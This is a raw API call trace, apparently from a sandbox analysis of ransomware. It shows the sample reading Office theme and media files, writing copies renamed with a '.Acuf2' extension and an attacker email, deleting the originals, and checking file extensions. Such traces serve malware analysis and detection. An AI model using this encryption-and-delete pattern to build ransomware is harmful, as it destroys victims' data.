	[0258.377] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x360ff1c | out: lpFileSize=0x360ff1c*=19611) returned 1
	[0258.377] CloseHandle (hObject=0x33c) returned 1
	[0258.377] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\urban.eftx")) returned 0x20
	[0258.377] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\urban.eftx.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0258.378] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\urban.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0258.378] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0258.378] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0258.378] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\urban.eftx.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x274
	[0258.378] GetLastError () returned 0x0
	[0258.378] ReadFile (in: hFile=0x33c, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x4c9b, lpOverlapped=0x0) returned 1
	[0258.382] WriteFile (in: hFile=0x274, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0x4ca0, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0x4ca0, lpOverlapped=0x0) returned 1
	[0258.383] ReadFile (in: hFile=0x33c, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x0, lpOverlapped=0x0) returned 1
	[0258.383] WriteFile (in: hFile=0x274, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xe8, lpOverlapped=0x0) returned 1
	[0258.384] SetEndOfFile (hFile=0x274) returned 1
	[0258.384] CloseHandle (hObject=0x274) returned 1
	[0258.384] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0258.384] SetEndOfFile (hFile=0x33c) returned 1
	[0258.387] CloseHandle (hObject=0x33c) returned 1
	[0258.387] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0258.387] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\urban.eftx")) returned 1
	[0258.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx") returned 77
	[0258.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx") returned 77
	[0258.388] lstrlenW (lpString=".doc") returned 4
	[0258.388] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0258.388] lstrlenW (lpString=".docx") returned 5
	[0258.388] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0258.388] lstrlenW (lpString=".pdf") returned 4
	[0258.388] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0258.388] lstrlenW (lpString=".xls") returned 4
	[0258.388] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0258.388] lstrlenW (lpString=".xlsx") returned 5
	[0258.388] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0258.388] lstrlenW (lpString=".ppt") returned 4
	[0258.388] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0258.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx") returned 77
	[0258.388] lstrlenW (lpString=".zip") returned 4
	[0258.388] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0258.388] lstrlenW (lpString=".rar") returned 4
	[0258.388] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0258.388] lstrlenW (lpString=".bz2") returned 4
	[0258.388] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0258.388] lstrlenW (lpString=".7z") returned 3
	[0258.388] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0258.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx") returned 77
	[0258.388] lstrlenW (lpString=".dbf") returned 4
	[0258.388] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0258.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx") returned 77
	[0258.388] lstrlenW (lpString=".1cd") returned 4
	[0258.388] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0258.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx") returned 77
	[0258.388] lstrlenW (lpString=".jpg") returned 4
	[0258.388] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0258.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx") returned 77
	[0258.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx") returned 77
	[0258.389] lstrlenW (lpString=".doc") returned 4
	[0258.389] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0258.389] lstrlenW (lpString=".docx") returned 5
	[0258.389] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0258.389] lstrlenW (lpString=".pdf") returned 4
	[0258.389] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0258.389] lstrlenW (lpString=".xls") returned 4
	[0258.389] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0258.389] lstrlenW (lpString=".xlsx") returned 5
	[0258.389] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0258.389] lstrlenW (lpString=".ppt") returned 4
	[0258.389] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0258.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx") returned 77
	[0258.389] lstrlenW (lpString=".zip") returned 4
	[0258.389] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0258.389] lstrlenW (lpString=".rar") returned 4
	[0258.389] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0258.389] lstrlenW (lpString=".bz2") returned 4
	[0258.389] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0258.389] lstrlenW (lpString=".7z") returned 3
	[0258.389] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0258.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx") returned 77
	[0258.389] lstrlenW (lpString=".dbf") returned 4
	[0258.389] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0258.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx") returned 77
	[0258.389] lstrlenW (lpString=".1cd") returned 4
	[0258.389] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0258.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx") returned 77
	[0258.389] lstrlenW (lpString=".jpg") returned 4
	[0258.389] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0258.390] lstrcmpiW (lpString1=".eftx", lpString2=".Acuf2") returned 1
	[0258.390] lstrlenW (lpString="Waveform.eftx") returned 13
	[0258.390] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\waveform.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0258.391] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x360ff1c | out: lpFileSize=0x360ff1c*=112504) returned 1
	[0258.391] CloseHandle (hObject=0x33c) returned 1
	[0258.391] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\waveform.eftx")) returned 0x20
	[0258.391] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\waveform.eftx.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0258.391] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\waveform.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0258.391] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0258.391] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0258.391] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\waveform.eftx.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x274
	[0258.392] GetLastError () returned 0x0
	[0258.392] ReadFile (in: hFile=0x33c, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x1b778, lpOverlapped=0x0) returned 1
	[0258.395] WriteFile (in: hFile=0x274, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0x1b780, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0x1b780, lpOverlapped=0x0) returned 1
	[0258.398] ReadFile (in: hFile=0x33c, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x0, lpOverlapped=0x0) returned 1
	[0258.398] WriteFile (in: hFile=0x274, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xee, lpOverlapped=0x0) returned 1
	[0258.398] SetEndOfFile (hFile=0x274) returned 1
	[0258.398] CloseHandle (hObject=0x274) returned 1
	[0258.398] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0258.398] SetEndOfFile (hFile=0x33c) returned 1
	[0258.457] CloseHandle (hObject=0x33c) returned 1
	[0258.457] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0258.490] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\waveform.eftx")) returned 1
	[0258.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx") returned 80
	[0258.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx") returned 80
	[0258.491] lstrlenW (lpString=".doc") returned 4
	[0258.491] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0258.491] lstrlenW (lpString=".docx") returned 5
	[0258.491] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0258.491] lstrlenW (lpString=".pdf") returned 4
	[0258.491] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0258.491] lstrlenW (lpString=".xls") returned 4
	[0258.491] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0258.491] lstrlenW (lpString=".xlsx") returned 5
	[0258.491] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0258.491] lstrlenW (lpString=".ppt") returned 4
	[0258.491] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0258.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx") returned 80
	[0258.491] lstrlenW (lpString=".zip") returned 4
	[0258.491] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0258.491] lstrlenW (lpString=".rar") returned 4
	[0258.491] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0258.491] lstrlenW (lpString=".bz2") returned 4
	[0258.491] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0258.491] lstrlenW (lpString=".7z") returned 3
	[0258.491] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0258.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx") returned 80
	[0258.491] lstrlenW (lpString=".dbf") returned 4
	[0258.491] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0258.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx") returned 80
	[0258.491] lstrlenW (lpString=".1cd") returned 4
	[0258.491] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0258.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx") returned 80
	[0258.491] lstrlenW (lpString=".jpg") returned 4
	[0258.491] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0258.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx") returned 80
	[0258.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx") returned 80
	[0258.492] lstrlenW (lpString=".doc") returned 4
	[0258.492] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0258.492] lstrlenW (lpString=".docx") returned 5
	[0258.492] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0258.492] lstrlenW (lpString=".pdf") returned 4
	[0258.492] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0258.492] lstrlenW (lpString=".xls") returned 4
	[0258.492] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0258.492] lstrlenW (lpString=".xlsx") returned 5
	[0258.492] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0258.492] lstrlenW (lpString=".ppt") returned 4
	[0258.492] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0258.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx") returned 80
	[0258.492] lstrlenW (lpString=".zip") returned 4
	[0258.492] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0258.492] lstrlenW (lpString=".rar") returned 4
	[0258.492] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0258.492] lstrlenW (lpString=".bz2") returned 4
	[0258.492] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0258.492] lstrlenW (lpString=".7z") returned 3
	[0258.492] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0258.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx") returned 80
	[0258.492] lstrlenW (lpString=".dbf") returned 4
	[0258.492] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0258.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx") returned 80
	[0258.492] lstrlenW (lpString=".1cd") returned 4
	[0258.492] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0258.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx") returned 80
	[0258.492] lstrlenW (lpString=".jpg") returned 4
	[0258.492] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0258.493] lstrcmpiW (lpString1=".DLL", lpString2=".Acuf2") returned 1
	[0258.493] lstrlenW (lpString="CAGCAT10.DLL") returned 12
	[0258.493] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220
	[0258.493] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x360ff1c | out: lpFileSize=0x360ff1c*=15776) returned 1
	[0258.493] CloseHandle (hObject=0x220) returned 1
	[0258.493] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.dll")) returned 0x20
	[0258.493] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0258.494] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0258.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL") returned 61
	[0258.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL") returned 61
	[0258.494] lstrlenW (lpString=".doc") returned 4
	[0258.494] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1
	[0258.494] lstrlenW (lpString=".docx") returned 5
	[0258.494] lstrcmpiW (lpString1=".docx", lpString2="0.DLL") returned -1
	[0258.494] lstrlenW (lpString=".pdf") returned 4
	[0258.494] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1
	[0258.494] lstrlenW (lpString=".xls") returned 4
	[0258.494] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1
	[0258.494] lstrlenW (lpString=".xlsx") returned 5
	[0258.494] lstrcmpiW (lpString1=".xlsx", lpString2="0.DLL") returned -1
	[0258.494] lstrlenW (lpString=".ppt") returned 4
	[0258.494] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1
	[0258.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL") returned 61
	[0258.494] lstrlenW (lpString=".zip") returned 4
	[0258.494] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1
	[0258.494] lstrlenW (lpString=".rar") returned 4
	[0258.494] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1
	[0258.494] lstrlenW (lpString=".bz2") returned 4
	[0258.494] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1
	[0258.494] lstrlenW (lpString=".7z") returned 3
	[0258.494] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0258.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL") returned 61
	[0258.494] lstrlenW (lpString=".dbf") returned 4
	[0258.494] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1
	[0258.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL") returned 61
	[0258.495] lstrlenW (lpString=".1cd") returned 4
	[0258.495] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1
	[0258.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL") returned 61
	[0258.495] lstrlenW (lpString=".jpg") returned 4
	[0258.495] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1
	[0258.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL") returned 61
	[0258.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL") returned 61
	[0258.495] lstrlenW (lpString=".doc") returned 4
	[0258.495] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1
	[0258.495] lstrlenW (lpString=".docx") returned 5
	[0258.495] lstrcmpiW (lpString1=".docx", lpString2="0.DLL") returned -1
	[0258.495] lstrlenW (lpString=".pdf") returned 4
	[0258.495] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1
	[0258.495] lstrlenW (lpString=".xls") returned 4
	[0258.495] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1
	[0258.495] lstrlenW (lpString=".xlsx") returned 5
	[0258.495] lstrcmpiW (lpString1=".xlsx", lpString2="0.DLL") returned -1
	[0258.495] lstrlenW (lpString=".ppt") returned 4
	[0258.495] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1
	[0258.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL") returned 61
	[0258.495] lstrlenW (lpString=".zip") returned 4
	[0258.495] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1
	[0258.495] lstrlenW (lpString=".rar") returned 4
	[0258.495] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1
	[0258.495] lstrlenW (lpString=".bz2") returned 4
	[0258.495] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1
	[0258.495] lstrlenW (lpString=".7z") returned 3
	[0258.495] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0258.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL") returned 61
	[0258.496] lstrlenW (lpString=".dbf") returned 4
	[0258.496] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1
	[0258.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL") returned 61
	[0258.496] lstrlenW (lpString=".1cd") returned 4
	[0258.496] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1
	[0258.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL") returned 61
	[0258.496] lstrlenW (lpString=".jpg") returned 4
	[0258.496] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1
	[0258.496] lstrcmpiW (lpString1=".MMW", lpString2=".Acuf2") returned 1
	[0258.496] lstrlenW (lpString="CAGCAT10.MMW") returned 12
	[0258.496] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.mmw"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220
	[0258.496] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x360ff1c | out: lpFileSize=0x360ff1c*=394200) returned 1
	[0258.496] CloseHandle (hObject=0x220) returned 1
	[0258.496] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.mmw")) returned 0x20
	[0258.496] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.mmw.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0258.497] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.mmw"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220
	[0258.497] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0258.497] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0258.497] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.mmw.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0258.497] GetLastError () returned 0x0
	[0258.497] ReadFile (in: hFile=0x220, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x603d8, lpOverlapped=0x0) returned 1
	[0258.534] WriteFile (in: hFile=0x334, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0x603e0, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0x603e0, lpOverlapped=0x0) returned 1
	[0258.541] ReadFile (in: hFile=0x220, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x0, lpOverlapped=0x0) returned 1
	[0258.541] WriteFile (in: hFile=0x334, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0258.541] SetEndOfFile (hFile=0x334) returned 1
	[0258.546] CloseHandle (hObject=0x334) returned 1
